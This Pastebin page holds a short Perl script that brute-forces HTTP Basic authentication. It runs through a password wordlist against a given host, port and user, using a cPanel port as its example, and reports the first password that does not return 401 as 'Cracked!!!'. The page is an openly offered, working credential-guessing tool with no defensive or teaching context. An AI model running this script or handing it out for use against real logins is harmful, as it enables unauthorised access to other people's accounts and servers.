Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/perl
- use LWP;
- sub usage(){
- print "How to use: $0 <host:port> <user> <wordlist>\nExample: $0 localhost:2082 admin wl.txt\n\n";
- exit;
- }
- sub auth(){
- $ua = LWP::UserAgent->new;
- $req = HTTP::Request->new(GET => $site);
- $req->authorization_basic($user, $pw);
- if($ua->request($req)->code =~ /401/){
- return 0;
- } else {
- return 1;
- }
- }
- sub main(){
- print "\n\033[1;31m[-]\033[0m Target: $site\n\n";
- open(w,"<$wordlist") or die("$!");
- while(<w>){
- chomp($pw = $_);
- print "\033[1;34m[*]\033[0m Testing ...\t$pw\n";
- if((&auth($pw)) == 0){
- next;
- }else{
- print "\n\033[0;32m[+]\033[0m Cracked!!! [$pw]\n";
- print "\033[0;32m[+]\033[0m USER: $user PASS: $pw\n\n";
- exit;
- }
- }
- print "\033[1;31m[-]\033[0m No Password crackeds \n";
- print "\033[1;34m[*]\033[0m (100% complete)\n\n";
- }
- if($#ARGV != 2){
- usage();
- }
- ($site,$user,$wordlist) = @ARGV;
- if($site !~ /^http:\/\// && $site !~ /^https:\/\//){
- $site = 'https://'.$site;
- }
- main();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement